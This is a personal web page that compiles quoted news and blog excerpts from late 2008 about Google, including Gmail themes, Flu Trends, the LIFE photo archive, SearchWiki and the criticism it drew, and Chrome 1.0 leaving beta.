"Google scores a coup over Microsoft in the messaging and collaboration market as application development specialist Serena Software announces plans to replace Microsoft Exchange with Google Gmail. Serena expects to save $750,000 per year in the switch, which will roll out to all 800 employees by the end of 2008."
"Serena Software expects to save $750,000 per year by shedding Microsoft Exchange Server in favor of Google's Gmail application for its 800 employees, officials of the Web development software maker told eWEEK Nov. 12."
"The move, slated to be completed by the end of 2008, is a coup for Google. The search engine provider has been struggling to entice customers to switch from the Microsoft Outlook e-mail client and Exchange Server on-premises application to its SAAS (software as a service) Web mail, word processing, spreadsheet and other applications."
"These applications and data associated with them live on Google's hosted servers, which customers access through the Internet. This method, also called cloud computing, is becoming more popular for cost-conscious companies, which may also be tired of maintaining the servers that house their data."
Gmail: Voice and video chat
"It's free and installs in seconds"
"System requirements: Windows XP or later"
http://mail.google.com/videochat
Spice up your inbox with colors and themes
November 19, 2008
"Gmail fans have been building unofficial extensions to spice up their inboxes for a while, but up til now themes haven't been an integral part of Gmail. We wanted to go beyond simple color customization, so out of the 30 odd themes we're launching today, there's a shiny theme with chrome styling, another one that turns your inbox into a retro notepad, nature themes that change scenery over time, weather driven themes that can rain on your mailbox, and fun characters to keep you in good company. There's even an old school ascii theme (Terminal) which was the result of a bet between two engineers -- it's not exactly practical, but it's great for testing out your geek cred. We've also done a minor facelift to Gmail's default look to make it crisper and cleaner -- you might notice a few colors and pixels shifted around here and there."
http://gmailblog.blogspot.com/2008/11/spice-up-your-inbox-with-colors-and.html
Gmail gets Themes
November 19, 2008
"The days of a bland Gmail interface is over: Google has launched Gmail Themes."
"The new Gmail themes offer 30 initial choices away from the standard Gmail layout, in a similar offering to what Google has been providing to iGoogle users."
"According to Annie Chen on the Gmail Blog, the Gmail team wanted to “go beyond simple color customization” so “there’s a shiny theme with chrome styling, another one that turns your inbox into a retro notepad, nature themes that change scenery over time, weather driven themes that can rain on your mailbox, and fun characters to keep you in good company.”"
"Themes are not immediately available to all Gmail users, but are being rolled out over the rest of the week. To use a theme, Gmail users will see a Themes tab under Settings."
http://www.inquisitr.com/8936/gmail-gets-themes/
Google adds themes to Gmail
November 21, 2008
"Have you become tired or bored with the visual look of your Gmail account? Have you turned to an unofficial extension to bring relief? Well this week you will be happy to hear Google are rolling out an official set of Gmail themes to help spruce up your inbox."
"Not only can you now change the look of your e-mail interface, but you are spoilt for choice. There are at least 30 themes to choose from and they are easily switched from your settings. Some of them aren’t static themes either and can change, for example, there is a nature theme that changes the scene over time, and a weather theme that can rain on your inbox."
http://www.geek.com/articles/news/google-adds-themes-to-gmail-20081121/
Gmail: Settings: Themes
https://mail.google.com/mail/?shva=1#settings/themes
Google: Countdown to 2009
"Find out each day how to count down the holidays with Google."
http://www.google.com/intl/en_us/countdownto2009/
Countdown to 2009
December 1, 2008
"The end of the year is a wonderful time to reflect, celebrate, and look forward to new things to come. This is also a season when things tend to get a bit too hectic. So we wanted to share some tips that we hope will help make the best of your holidays and year-end celebrations."
http://googleblog.blogspot.com/2008/12/countdown-to-2009.html
Google Flu Trends
"Explore flu trends across the U.S."
"We've found that certain search terms are good indicators of flu activity. Google Flu Trends uses aggregated Google search data to estimate flu activity in your state up to two weeks faster than traditional systems"
http://www.google.org/flutrends/
How we help track flu trends
November 12, 2008
"Google search isn't just about looking up football scores from last weekend or finding a great hotel for your next vacation. It can also be used for the public good. Yesterday, we announced Google Flu Trends, which uses aggregated search data in an effort to confront the challenge of influenza outbreaks."
"By taking Google Trends — where you can see snapshots of what's on the public's collective mind — and applying the tool to a public health problem, our engineers found that there was a correlation between flu-related queries and the actual flu. They created a model for near real-time estimates about outbreaks, in the hopes that both health care professionals and the general public would use this tool to better prepare for flu season."
http://googleblog.blogspot.com/2008/11/how-we-help-track-flu-trends.html
Search millions of historic photos
"Search millions of photographs from the LIFE photo archive, stretching from the 1750s to today. Most were never published and are now available for the first time through the joint work of LIFE and Google."
http://images.google.com/hosted/life
LIFE Photo Archive available on Google Image Search
November 18, 2008
"The Zapruder film of the Kennedy assassination; The Mansell Collection from London; Dahlstrom glass plates of New York and environs from the 1880s; and the entire works left to the collection from LIFE photographers Alfred Eisenstaedt, Gjon Mili, and Nina Leen. These are just some of the things you'll see in Google Image Search today."
"We're excited to announce the availability of never-before-seen images from the LIFE photo archive. This effort to bring offline images online was inspired by our mission to organize all the world's information and make it universally accessible and useful. This collection of newly-digitized images includes photos and etchings produced and owned by LIFE dating all the way back to the 1750s."
"Only a very small percentage of these images have ever been published. The rest have been sitting in dusty archives in the form of negatives, slides, glass plates, etchings, and prints. We're digitizing them so that everyone can easily experience these fascinating moments in time. Today about 20 percent of the collection is online; during the next few months, we will be adding the entire LIFE archive — about 10 million photos."
http://googleblog.blogspot.com/2008/11/life-photo-archive-available-on-google.html
SearchWiki: make search your own
November 20, 2008
"Have you ever wanted to mark up Google search results? Maybe you're an avid hiker and the trail map site you always go to is in the 4th or 5th position and you want to move it to the top. Or perhaps it's not there at all and you'd like to add it. Or maybe you'd like to add some notes about what you found on that site and why you thought it was useful. Starting today you can do all this and tailor Google search results to best meet your needs."
"Today we're launching SearchWiki, a way for you to customize search by re-ranking, deleting, adding, and commenting on search results. With just a single click you can move the results you like to the top or add a new site. You can also write notes attached to a particular site and remove results that you don't feel belong. These modifications will be shown to you every time you do the same search in the future. SearchWiki is available to signed-in Google users. We store your changes in your Google Account. If you are wondering if you are signed in, you can always check by noting if your username appears in the upper right-hand side of the page."
"The changes you make only affect your own searches. But SearchWiki also is a great way to share your insights with other searchers. You can see how the community has collectively edited the search results by clicking on the "See all notes for this SearchWiki" link."
http://googleblog.blogspot.com/2008/11/searchwiki-make-search-your-own.html
Google Wikifies; Build Your Own Results
November 21, 2008
"Google has built an empire using its famous PageRank algorithms and other technology to generate search results. Now, it's giving users the option to be more directly involved with results by way of its SearchWiki."
"The latest offering from Google lets users customize search result rankings and add comments to results."
"In a blog post, Google said SearchWiki might be particularly useful for repeat searches, like a favorite vacation resource site, to make sure it shows up near the top of results for, say, the term "vacation.""
"You can also add notes about the site to help you remember why it was useful. You have to have a Google account (free) and be logged in, to use SearchWiki. You can also mark sites you don't want to see in results for a particular search and they wont' appear in future sessions."
"Google said any individual's customization using SearchWiki has no bearing on results other Google users get. The customization also won't apply if you're not logged in. But SearchWiki does give you the option to see notes made by other users for the same search results, a restaurant site for example. Google said all notes are visible to other users along with your Google account name, so there is no privacy option; i.e. the notes are always available for other Google users to see."
"A simple click opens a text box to add notes. You can also add the URL of a site or sites you want to see in future search results for a specific term. The sites you select in SearchWiki have a little green arrow next to them so you can identify them as ones you've selected previously."
http://www.internetnews.com/search/article.php/3786756/Google+Wikifies+Build+Your+Own+Results.htm
Some question Google's 'rookie mistakes' with SearchWiki
November 24, 2008
"Google Inc.'s new search customization tool, SearchWiki, has quickly generated criticism for its lack of an opt-out option and perceived privacy threats."
"Google unveiled SearchWiki last week, saying that it would allow users signed into Google to change the ranking of personal search results. The tool also lets users delete or add comments to searches."
"The comments are shared with other users and signed with a person's username, Google said. Re-ranked search results are only seen by the signed-in user and do not affect other people's results. Google contends that the tool makes searches more useful because users can benefit from community edits of search results."
"Some bloggers quickly criticized the tool, while others have posted a script to disable it, thus returning search results to their original format."
"TechCrunch blogger Michael Arrington, for example lamented that the new feature allowed pornography spam to show up in the search results for the TechCrunch blog."
"Dave Weinberger, a fellow at Harvard University's Berkman Center for Internet & Society, said that Google committed two rookie mistakes in the development of SearchWiki. "First, opting us in is obnoxious enough, but not giving us a way to opt out is unsupportable," he added. "Where's the big 'No thanks' button?" Second, he added, the results page shows users the nicknames of others users who have voted a page up."
""So, now the whole world will see that 'dweinberger' not only searched for 'Angelina Jolie' but thumbs-upped the page of closeups of her tattoos?" he added. "Guess who just changed his nickname to something less identifiable! This is a feature without value -- the list of names isn't clickable or complete [and it does not] tell you how many people voted it up -- unless you recognize someone's nickname, in which case it has negative value.""
Google SearchWiki addition fails to wow
November 21, 2008
"Google isn't content being the most popular Internet search engine -- it continuously tinkers to create a more immersive user experience. Sometimes it fails as PC World outlined in this article. And Google's SearchWiki, a user-edited search results feature unveiled yesterday, in my opinion is Google's latest bad idea since, well, since Lively."
"SearchWiki allows you to edit and customize your search results pages. You must be signed into your Google account for it to work. Once signed in, if you search for "fantasy football stats" religiously and think the result should appear in a different order, you can rearrange search results to your liking. You can also delete unhelpful results and even comment on the page's usefulness."
"When you rearrange, or re-rank, Google search results you affect only your Google account -- so don't expect your reorganized vision of the Web to impact other users. Comments, however, are universal."
"Once you get involved in SearchWiki's features, it becomes frustratingly meta and throws chunks of logic out the window. You can comment on other user's comments. You can add your own URLs to your searches. How does that make sense? If you're searching for something, you shouldn't already know the destination URL, and if you do, why are you searching? And if you're continuously seeking the same exact thing, why not just bookmark the site?"
"What surprises me the most is that the feature is turned on by default within search results for all Google users (the feature is being phased in by Google and is not yet widely available). It's my guess that most average Googlers will be confused by what this tool does and struggle with why they should use it. Ultimately, it feels as if Google is working against its winning design formula of keeping things uncluttered and aesthetically clean."
"There are reports the option to opt-out of SearchWiki by refusing to hit the "Yes, Continue" button on a screen explaining the program. Others, like me, were not given this option and are now seem stuck with it (no word on Google's official blog announcing WikiSearch on how to turn the feature off). At this moment there is no method I can find for turning SearchWiki icons off."
"The beauty of Google was its simplicity. A logo, a search bar, and two buttons: Google Search and I'm Feeling Lucky. From there, users could quickly and accurately access billions of pages on the Internet. Adding unnecessary features only complicates the process and perverts the sole reason of Google Search's existence: to search. The concept is so elementary I cannot understand why Google bothers messing with it. At the very least - how come Google doesn't make it easier to configure your Google account to make WikiSearch clutter go away."
http://www.networkworld.com/reviews/2008/112108-google-searchwiki-addition-fails-to.html
Google Zeitgeist 2008
http://www.google.com/intl/en/press/zeitgeist2008/
Google Announces 2008 Year-end Zeitgeist
http://www.google.com/intl/en/press/annc/20081210_zeitgeist.html
Google Chrome
December 11, 2008
"Since we first released Google Chrome, the development team has been hard at work improving the stability and overall performance of the browser. In just 100 days, we have reached more than 10 million active users around the world (on all seven continents, no less) and released 14 updates to the product. We're excited to announce that with today's fifteenth release we are taking off the "beta" label!"
http://googleblog.blogspot.com/2008/12/google-chrome-beta.html
Google Chrome 1.0 Released
December 11, 2008
"There aren't many differences between the first release of Google Chrome and the version released today: besides fixing bugs and improving the support for plug-ins, Chrome added a bookmarks manager. The browser still lacks many basic features and customization options: previewing feeds, print preview, customizable "new tab" page, form autocomplete (this feature will be added soon) and there are many issues that should have been fixed before even considering to remove the "beta" label."
"Google Chrome is not out of beta because it's ready, but because Google wants to sign some deals with computer manufacturers like Dell that will preinstall the browser. " The Google's open source browser has a number of eager customers, including OEMs who can't offer the browser until it is in full release," mentions TechCrunch. Even German's Federal Office for Information Security said that Google's browser is not for general use because it's still in beta. If that's price to increase the adoption, then Google didn't have to do much: just pretend that Chrome is ready for prime-time."
http://googlesystem.blogspot.com/2008/12/google-chrome-10-released.html
Google's Chrome Should Still Be In Beta
December 12, 2008
"Commentary: Count me among the surprised to see Google's Chrome browser officially out of beta yesterday. Sure, I had heard the rumors ahead of the news, and they didn't make sense to me."
"So here's why I think Google's Chrome needs to stay in beta. It has not gone through the same process of development that every other major browser in the history of the Internet has undergone. Plus, we need to examine whether Chrome was ever really a beta prior to its official release."
"But I digress. Let me get to the surface level of why I was among the surprised to see it out of beta this week. For one, earlier this week Google released an update to Chrome dev-channel version 0.4.154.33."
"The release has an important fix in it for Microsoft's Hotmail, but more importantly it clearly identifies the fact that Chrome does not work properly with all sites and services. Even more interestingly Google recommends that, as a workaround, users trick sites into thinking that Chrome is actually Safari. As a reminder, Google has two versions of Chrome, the dev-channel version, which is the bleeding edge of development and then there is the stable version, which is supposed to take the lessons of the dev version into account."
"The official non-beta release, by Google's own admission, does not include the Hotmail fix. Google, as I blogged yesterday, has not updated the dev-channel version (which should be the leading edge of development) to a 1.x version."
"Google's Chrome stable is now at version 1.0.154.36. So why would Google declare Chrome to be out of beta without migrating the dev- channel forward or basing the new stable on the dev-channel version? This seems very odd."
"Furthermore, when was Chrome ever really in beta? Sure, Google has its own nebulous definition of beta. After all, the widely used Gmail is still called a beta. But Chrome never followed the traditional beta development pattern that other browser vendors have been following."
"Think of how Mozilla develops Firefox today. First, there are alpha milestone releases. Then, once they get closer to a feature freeze, they create a beta milestone by calling it beta 1 (for example). In between those actions comes user testing and validation. Before a final release there is what is known as Release Candidate versions. Microsoft follows a similar process and currently is at beta 2 for its Internet Explorer 8 browser."
Is Google desperate in taking Chrome gold?
December 12, 2008
"In the last year Google has lost more than half its equity value, most of that in the last six months."
"I think this explains why Google ripped the “beta” label off Chrome 0.3 yesterday, pronouncing the new version 1.0."
"The key lies in the build number, 154. Very few revisions since 0.3. (I think the first public version was build 129.) This was not a technical decision, but a business one."
"Google can no longer frighten, bribe or buy competitors with its stock. Even its internal stock option plan threatens to become a dilution of value for everyone."
"It must grow through revenues. It must find another way toward profit other than advertising, which is shrinking for everyone."
"Making Chrome gold means it can be pre-installed on PCs from major OEMs. The Dell deal on its toolbar expires next month. Negotiations must already be underway."
"Is the company out of its mind? No, but it is taking on risk. When beta code blows up we reflexively forgive it. When a product goes gold it’s expected to work and play well with other software."
http://blogs.zdnet.com/open-source/?p=3186
Google Chrome: a new web browser for Windows
"Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier."
"For Windows Vista/XP SP2"
Last modified: January 10th, 2011
Author: Tomi Häsä (tomi.hasa@gmail.com)
URL: http://sites.google.com/site/tomihasa/news-quotes-google-2008
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